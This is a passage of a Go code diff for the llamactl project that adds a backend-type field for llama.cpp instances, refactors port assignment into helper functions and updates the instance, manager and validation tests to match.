log.Printf("Instance %s RestartDelay value (%d) cannot be negative, setting to 0 seconds", name, *c.RestartDelay)
|
||||||
|
*c.RestartDelay = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
if c.IdleTimeout != nil && *c.IdleTimeout < 0 {
|
||||||
|
log.Printf("Instance %s IdleTimeout value (%d) cannot be negative, setting to 0 minutes", name, *c.IdleTimeout)
|
||||||
|
*c.IdleTimeout = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// Apply defaults from global settings for nil fields
|
||||||
|
if globalSettings != nil {
|
||||||
|
if c.AutoRestart == nil {
|
||||||
|
c.AutoRestart = &globalSettings.DefaultAutoRestart
|
||||||
|
}
|
||||||
|
if c.MaxRestarts == nil {
|
||||||
|
c.MaxRestarts = &globalSettings.DefaultMaxRestarts
|
||||||
|
}
|
||||||
|
if c.RestartDelay == nil {
|
||||||
|
c.RestartDelay = &globalSettings.DefaultRestartDelay
|
||||||
|
}
|
||||||
|
if c.OnDemandStart == nil {
|
||||||
|
c.OnDemandStart = &globalSettings.DefaultOnDemandStart
|
||||||
|
}
|
||||||
|
if c.IdleTimeout == nil {
|
||||||
|
defaultIdleTimeout := 0
|
||||||
|
c.IdleTimeout = &defaultIdleTimeout
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// BuildCommandArgs builds command line arguments for the backend
|
||||||
|
func (c *CreateInstanceOptions) BuildCommandArgs() []string {
|
||||||
|
switch c.BackendType {
|
||||||
|
case backends.BackendTypeLlamaCpp:
|
||||||
|
if c.LlamaServerOptions != nil {
|
||||||
|
return c.LlamaServerOptions.BuildCommandArgs()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return []string{}
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package instance_test
|
package instance_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"llamactl/pkg/backends"
|
||||||
"llamactl/pkg/backends/llamacpp"
|
"llamactl/pkg/backends/llamacpp"
|
||||||
"llamactl/pkg/config"
|
"llamactl/pkg/config"
|
||||||
"llamactl/pkg/instance"
|
"llamactl/pkg/instance"
|
||||||
@@ -37,7 +38,8 @@ func TestUpdateLastRequestTime(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -59,7 +61,8 @@ func TestShouldTimeout_NotRunning(t *testing.T) {
|
|||||||
idleTimeout := 1 // 1 minute
|
idleTimeout := 1 // 1 minute
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
IdleTimeout: &idleTimeout,
|
IdleTimeout: &idleTimeout,
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -96,7 +99,8 @@ func TestShouldTimeout_NoTimeoutConfigured(t *testing.T) {
|
|||||||
|
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
IdleTimeout: tt.idleTimeout,
|
IdleTimeout: tt.idleTimeout,
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -120,7 +124,8 @@ func TestShouldTimeout_WithinTimeLimit(t *testing.T) {
|
|||||||
idleTimeout := 5 // 5 minutes
|
idleTimeout := 5 // 5 minutes
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
IdleTimeout: &idleTimeout,
|
IdleTimeout: &idleTimeout,
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -148,7 +153,8 @@ func TestShouldTimeout_ExceedsTimeLimit(t *testing.T) {
|
|||||||
idleTimeout := 1 // 1 minute
|
idleTimeout := 1 // 1 minute
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
IdleTimeout: &idleTimeout,
|
IdleTimeout: &idleTimeout,
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -194,7 +200,8 @@ func TestTimeoutConfiguration_Validation(t *testing.T) {
|
|||||||
t.Run(tt.name, func(t *testing.T) {
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
IdleTimeout: tt.inputTimeout,
|
IdleTimeout: tt.inputTimeout,
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -248,8 +248,8 @@ func (im *instanceManager) loadInstance(name, path string) error {
|
|||||||
inst.SetStatus(persistedInstance.Status)
|
inst.SetStatus(persistedInstance.Status)
|
||||||
|
|
||||||
// Check for port conflicts and add to maps
|
// Check for port conflicts and add to maps
|
||||||
if inst.GetOptions() != nil && inst.GetOptions().Port > 0 {
|
if inst.GetPort() > 0 {
|
||||||
port := inst.GetOptions().Port
|
port := inst.GetPort()
|
||||||
if im.ports[port] {
|
if im.ports[port] {
|
||||||
return fmt.Errorf("port conflict: instance %s wants port %d which is already in use", name, port)
|
return fmt.Errorf("port conflict: instance %s wants port %d which is already in use", name, port)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package manager_test
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"llamactl/pkg/backends"
|
||||||
"llamactl/pkg/backends/llamacpp"
|
"llamactl/pkg/backends/llamacpp"
|
||||||
"llamactl/pkg/config"
|
"llamactl/pkg/config"
|
||||||
"llamactl/pkg/instance"
|
"llamactl/pkg/instance"
|
||||||
@@ -53,7 +54,8 @@ func TestPersistence(t *testing.T) {
|
|||||||
// Test instance persistence on creation
|
// Test instance persistence on creation
|
||||||
manager1 := manager.NewInstanceManager(cfg)
|
manager1 := manager.NewInstanceManager(cfg)
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
Port: 8080,
|
Port: 8080,
|
||||||
},
|
},
|
||||||
@@ -109,12 +111,13 @@ func TestConcurrentAccess(t *testing.T) {
|
|||||||
errChan := make(chan error, 10)
|
errChan := make(chan error, 10)
|
||||||
|
|
||||||
// Concurrent instance creation
|
// Concurrent instance creation
|
||||||
for i := 0; i < 5; i++ {
|
for i := range 5 {
|
||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
go func(index int) {
|
go func(index int) {
|
||||||
defer wg.Done()
|
defer wg.Done()
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -150,7 +153,8 @@ func TestShutdown(t *testing.T) {
|
|||||||
|
|
||||||
// Create test instance
|
// Create test instance
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package manager
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"llamactl/pkg/backends"
|
||||||
"llamactl/pkg/instance"
|
"llamactl/pkg/instance"
|
||||||
"llamactl/pkg/validation"
|
"llamactl/pkg/validation"
|
||||||
"os"
|
"os"
|
||||||
@@ -52,19 +53,9 @@ func (im *instanceManager) CreateInstance(name string, options *instance.CreateI
|
|||||||
return nil, fmt.Errorf("instance with name %s already exists", name)
|
return nil, fmt.Errorf("instance with name %s already exists", name)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Assign a port if not specified
|
// Assign and validate port for backend-specific options
|
||||||
if options.Port == 0 {
|
if err := im.assignAndValidatePort(options); err != nil {
|
||||||
port, err := im.getNextAvailablePort()
|
return nil, err
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to get next available port: %w", err)
|
|
||||||
}
|
|
||||||
options.Port = port
|
|
||||||
} else {
|
|
||||||
// Validate the specified port
|
|
||||||
if _, exists := im.ports[options.Port]; exists {
|
|
||||||
return nil, fmt.Errorf("port %d is already in use", options.Port)
|
|
||||||
}
|
|
||||||
im.ports[options.Port] = true
|
|
||||||
}
|
}
|
||||||
|
|
||||||
statusCallback := func(oldStatus, newStatus instance.InstanceStatus) {
|
statusCallback := func(oldStatus, newStatus instance.InstanceStatus) {
|
||||||
@@ -73,7 +64,12 @@ func (im *instanceManager) CreateInstance(name string, options *instance.CreateI
|
|||||||
|
|
||||||
inst := instance.NewInstance(name, &im.instancesConfig, options, statusCallback)
|
inst := instance.NewInstance(name, &im.instancesConfig, options, statusCallback)
|
||||||
im.instances[inst.Name] = inst
|
im.instances[inst.Name] = inst
|
||||||
im.ports[options.Port] = true
|
|
||||||
|
// Mark the port as used after successful instance creation
|
||||||
|
port := im.getPortFromOptions(options)
|
||||||
|
if port > 0 {
|
||||||
|
im.ports[port] = true
|
||||||
|
}
|
||||||
|
|
||||||
if err := im.persistInstance(inst); err != nil {
|
if err := im.persistInstance(inst); err != nil {
|
||||||
return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
|
return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
|
||||||
@@ -157,7 +153,7 @@ func (im *instanceManager) DeleteInstance(name string) error {
|
|||||||
return fmt.Errorf("instance with name %s is still running, stop it before deleting", name)
|
return fmt.Errorf("instance with name %s is still running, stop it before deleting", name)
|
||||||
}
|
}
|
||||||
|
|
||||||
delete(im.ports, instance.GetOptions().Port)
|
delete(im.ports, instance.GetPort())
|
||||||
delete(im.instances, name)
|
delete(im.instances, name)
|
||||||
|
|
||||||
// Delete the instance's config file if persistence is enabled
|
// Delete the instance's config file if persistence is enabled
|
||||||
@@ -262,3 +258,49 @@ func (im *instanceManager) GetInstanceLogs(name string) (string, error) {
|
|||||||
// TODO: Implement actual log retrieval logic
|
// TODO: Implement actual log retrieval logic
|
||||||
return fmt.Sprintf("Logs for instance %s", name), nil
|
return fmt.Sprintf("Logs for instance %s", name), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// getPortFromOptions extracts the port from backend-specific options
|
||||||
|
func (im *instanceManager) getPortFromOptions(options *instance.CreateInstanceOptions) int {
|
||||||
|
switch options.BackendType {
|
||||||
|
case backends.BackendTypeLlamaCpp:
|
||||||
|
if options.LlamaServerOptions != nil {
|
||||||
|
return options.LlamaServerOptions.Port
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// setPortInOptions sets the port in backend-specific options
|
||||||
|
func (im *instanceManager) setPortInOptions(options *instance.CreateInstanceOptions, port int) {
|
||||||
|
switch options.BackendType {
|
||||||
|
case backends.BackendTypeLlamaCpp:
|
||||||
|
if options.LlamaServerOptions != nil {
|
||||||
|
options.LlamaServerOptions.Port = port
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// assignAndValidatePort assigns a port if not specified and validates it's not in use
|
||||||
|
func (im *instanceManager) assignAndValidatePort(options *instance.CreateInstanceOptions) error {
|
||||||
|
currentPort := im.getPortFromOptions(options)
|
||||||
|
|
||||||
|
if currentPort == 0 {
|
||||||
|
// Assign a port if not specified
|
||||||
|
port, err := im.getNextAvailablePort()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to get next available port: %w", err)
|
||||||
|
}
|
||||||
|
im.setPortInOptions(options, port)
|
||||||
|
// Mark the port as used
|
||||||
|
im.ports[port] = true
|
||||||
|
} else {
|
||||||
|
// Validate the specified port
|
||||||
|
if _, exists := im.ports[currentPort]; exists {
|
||||||
|
return fmt.Errorf("port %d is already in use", currentPort)
|
||||||
|
}
|
||||||
|
// Mark the port as used
|
||||||
|
im.ports[currentPort] = true
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package manager_test
|
package manager_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"llamactl/pkg/backends"
|
||||||
"llamactl/pkg/backends/llamacpp"
|
"llamactl/pkg/backends/llamacpp"
|
||||||
"llamactl/pkg/config"
|
"llamactl/pkg/config"
|
||||||
"llamactl/pkg/instance"
|
"llamactl/pkg/instance"
|
||||||
@@ -13,7 +14,8 @@ func TestCreateInstance_Success(t *testing.T) {
|
|||||||
manager := createTestManager()
|
manager := createTestManager()
|
||||||
|
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
Port: 8080,
|
Port: 8080,
|
||||||
},
|
},
|
||||||
@@ -30,8 +32,8 @@ func TestCreateInstance_Success(t *testing.T) {
|
|||||||
if inst.GetStatus() != instance.Stopped {
|
if inst.GetStatus() != instance.Stopped {
|
||||||
t.Error("New instance should not be running")
|
t.Error("New instance should not be running")
|
||||||
}
|
}
|
||||||
if inst.GetOptions().Port != 8080 {
|
if inst.GetPort() != 8080 {
|
||||||
t.Errorf("Expected port 8080, got %d", inst.GetOptions().Port)
|
t.Errorf("Expected port 8080, got %d", inst.GetPort())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -39,7 +41,8 @@ func TestCreateInstance_ValidationAndLimits(t *testing.T) {
|
|||||||
// Test duplicate names
|
// Test duplicate names
|
||||||
mngr := createTestManager()
|
mngr := createTestManager()
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -86,7 +89,8 @@ func TestPortManagement(t *testing.T) {
|
|||||||
|
|
||||||
// Test auto port assignment
|
// Test auto port assignment
|
||||||
options1 := &instance.CreateInstanceOptions{
|
options1 := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -96,14 +100,15 @@ func TestPortManagement(t *testing.T) {
|
|||||||
t.Fatalf("CreateInstance failed: %v", err)
|
t.Fatalf("CreateInstance failed: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
port1 := inst1.GetOptions().Port
|
port1 := inst1.GetPort()
|
||||||
if port1 < 8000 || port1 > 9000 {
|
if port1 < 8000 || port1 > 9000 {
|
||||||
t.Errorf("Expected port in range 8000-9000, got %d", port1)
|
t.Errorf("Expected port in range 8000-9000, got %d", port1)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Test port conflict detection
|
// Test port conflict detection
|
||||||
options2 := &instance.CreateInstanceOptions{
|
options2 := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model2.gguf",
|
Model: "/path/to/model2.gguf",
|
||||||
Port: port1, // Same port - should conflict
|
Port: port1, // Same port - should conflict
|
||||||
},
|
},
|
||||||
@@ -120,7 +125,8 @@ func TestPortManagement(t *testing.T) {
|
|||||||
// Test port release on deletion
|
// Test port release on deletion
|
||||||
specificPort := 8080
|
specificPort := 8080
|
||||||
options3 := &instance.CreateInstanceOptions{
|
options3 := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
Port: specificPort,
|
Port: specificPort,
|
||||||
},
|
},
|
||||||
@@ -147,7 +153,8 @@ func TestInstanceOperations(t *testing.T) {
|
|||||||
manager := createTestManager()
|
manager := createTestManager()
|
||||||
|
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -169,7 +176,8 @@ func TestInstanceOperations(t *testing.T) {
|
|||||||
|
|
||||||
// Update instance
|
// Update instance
|
||||||
newOptions := &instance.CreateInstanceOptions{
|
newOptions := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/new-model.gguf",
|
Model: "/path/to/new-model.gguf",
|
||||||
Port: 8081,
|
Port: 8081,
|
||||||
},
|
},
|
||||||
@@ -179,8 +187,8 @@ func TestInstanceOperations(t *testing.T) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("UpdateInstance failed: %v", err)
|
t.Fatalf("UpdateInstance failed: %v", err)
|
||||||
}
|
}
|
||||||
if updated.GetOptions().Model != "/path/to/new-model.gguf" {
|
if updated.GetOptions().LlamaServerOptions.Model != "/path/to/new-model.gguf" {
|
||||||
t.Errorf("Expected model '/path/to/new-model.gguf', got %q", updated.GetOptions().Model)
|
t.Errorf("Expected model '/path/to/new-model.gguf', got %q", updated.GetOptions().LlamaServerOptions.Model)
|
||||||
}
|
}
|
||||||
|
|
||||||
// List instances
|
// List instances
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package manager_test
|
package manager_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"llamactl/pkg/backends"
|
||||||
"llamactl/pkg/backends/llamacpp"
|
"llamactl/pkg/backends/llamacpp"
|
||||||
"llamactl/pkg/config"
|
"llamactl/pkg/config"
|
||||||
"llamactl/pkg/instance"
|
"llamactl/pkg/instance"
|
||||||
@@ -31,7 +32,8 @@ func TestTimeoutFunctionality(t *testing.T) {
|
|||||||
idleTimeout := 1 // 1 minute
|
idleTimeout := 1 // 1 minute
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
IdleTimeout: &idleTimeout,
|
IdleTimeout: &idleTimeout,
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -79,7 +81,8 @@ func TestTimeoutFunctionality(t *testing.T) {
|
|||||||
|
|
||||||
// Test that instance without timeout doesn't timeout
|
// Test that instance without timeout doesn't timeout
|
||||||
noTimeoutOptions := &instance.CreateInstanceOptions{
|
noTimeoutOptions := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
// No IdleTimeout set
|
// No IdleTimeout set
|
||||||
@@ -109,19 +112,22 @@ func TestEvictLRUInstance_Success(t *testing.T) {
|
|||||||
|
|
||||||
// Create 3 instances with idle timeout enabled (value doesn't matter for LRU logic)
|
// Create 3 instances with idle timeout enabled (value doesn't matter for LRU logic)
|
||||||
options1 := &instance.CreateInstanceOptions{
|
options1 := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model1.gguf",
|
Model: "/path/to/model1.gguf",
|
||||||
},
|
},
|
||||||
IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
|
IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
|
||||||
}
|
}
|
||||||
options2 := &instance.CreateInstanceOptions{
|
options2 := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model2.gguf",
|
Model: "/path/to/model2.gguf",
|
||||||
},
|
},
|
||||||
IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
|
IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
|
||||||
}
|
}
|
||||||
options3 := &instance.CreateInstanceOptions{
|
options3 := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model3.gguf",
|
Model: "/path/to/model3.gguf",
|
||||||
},
|
},
|
||||||
IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
|
IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
|
||||||
@@ -188,7 +194,8 @@ func TestEvictLRUInstance_NoEligibleInstances(t *testing.T) {
|
|||||||
// Helper function to create instances with different timeout configurations
|
// Helper function to create instances with different timeout configurations
|
||||||
createInstanceWithTimeout := func(manager manager.InstanceManager, name, model string, timeout *int) *instance.Process {
|
createInstanceWithTimeout := func(manager manager.InstanceManager, name, model string, timeout *int) *instance.Process {
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: model,
|
Model: model,
|
||||||
},
|
},
|
||||||
IdleTimeout: timeout,
|
IdleTimeout: timeout,
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package validation
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"llamactl/pkg/backends"
|
||||||
"llamactl/pkg/instance"
|
"llamactl/pkg/instance"
|
||||||
"reflect"
|
"reflect"
|
||||||
"regexp"
|
"regexp"
|
||||||
@@ -33,20 +34,35 @@ func validateStringForInjection(value string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// ValidateInstanceOptions performs minimal security validation
|
// ValidateInstanceOptions performs validation based on backend type
|
||||||
func ValidateInstanceOptions(options *instance.CreateInstanceOptions) error {
|
func ValidateInstanceOptions(options *instance.CreateInstanceOptions) error {
|
||||||
if options == nil {
|
if options == nil {
|
||||||
return ValidationError(fmt.Errorf("options cannot be nil"))
|
return ValidationError(fmt.Errorf("options cannot be nil"))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Validate based on backend type
|
||||||
|
switch options.BackendType {
|
||||||
|
case backends.BackendTypeLlamaCpp:
|
||||||
|
return validateLlamaCppOptions(options)
|
||||||
|
default:
|
||||||
|
return ValidationError(fmt.Errorf("unsupported backend type: %s", options.BackendType))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// validateLlamaCppOptions validates llama.cpp specific options
|
||||||
|
func validateLlamaCppOptions(options *instance.CreateInstanceOptions) error {
|
||||||
|
if options.LlamaServerOptions == nil {
|
||||||
|
return ValidationError(fmt.Errorf("llama server options cannot be nil for llama.cpp backend"))
|
||||||
|
}
|
||||||
|
|
||||||
// Use reflection to check all string fields for injection patterns
|
// Use reflection to check all string fields for injection patterns
|
||||||
if err := validateStructStrings(&options.LlamaServerOptions, ""); err != nil {
|
if err := validateStructStrings(options.LlamaServerOptions, ""); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
// Basic network validation - only check for reasonable ranges
|
// Basic network validation for port
|
||||||
if options.Port < 0 || options.Port > 65535 {
|
if options.LlamaServerOptions.Port < 0 || options.LlamaServerOptions.Port > 65535 {
|
||||||
return ValidationError(fmt.Errorf("invalid port range"))
|
return ValidationError(fmt.Errorf("invalid port range: %d", options.LlamaServerOptions.Port))
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package validation_test
|
package validation_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"llamactl/pkg/backends"
|
||||||
"llamactl/pkg/backends/llamacpp"
|
"llamactl/pkg/backends/llamacpp"
|
||||||
"llamactl/pkg/instance"
|
"llamactl/pkg/instance"
|
||||||
"llamactl/pkg/testutil"
|
"llamactl/pkg/testutil"
|
||||||
@@ -83,7 +84,8 @@ func TestValidateInstanceOptions_PortValidation(t *testing.T) {
|
|||||||
for _, tt := range tests {
|
for _, tt := range tests {
|
||||||
t.Run(tt.name, func(t *testing.T) {
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Port: tt.port,
|
Port: tt.port,
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -136,7 +138,8 @@ func TestValidateInstanceOptions_StringInjection(t *testing.T) {
|
|||||||
t.Run(tt.name, func(t *testing.T) {
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
// Test with Model field (string field)
|
// Test with Model field (string field)
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: tt.value,
|
Model: tt.value,
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -173,7 +176,8 @@ func TestValidateInstanceOptions_ArrayInjection(t *testing.T) {
|
|||||||
t.Run(tt.name, func(t *testing.T) {
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
// Test with Lora field (array field)
|
// Test with Lora field (array field)
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Lora: tt.array,
|
Lora: tt.array,
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -196,7 +200,8 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
|
|||||||
{
|
{
|
||||||
name: "injection in model field",
|
name: "injection in model field",
|
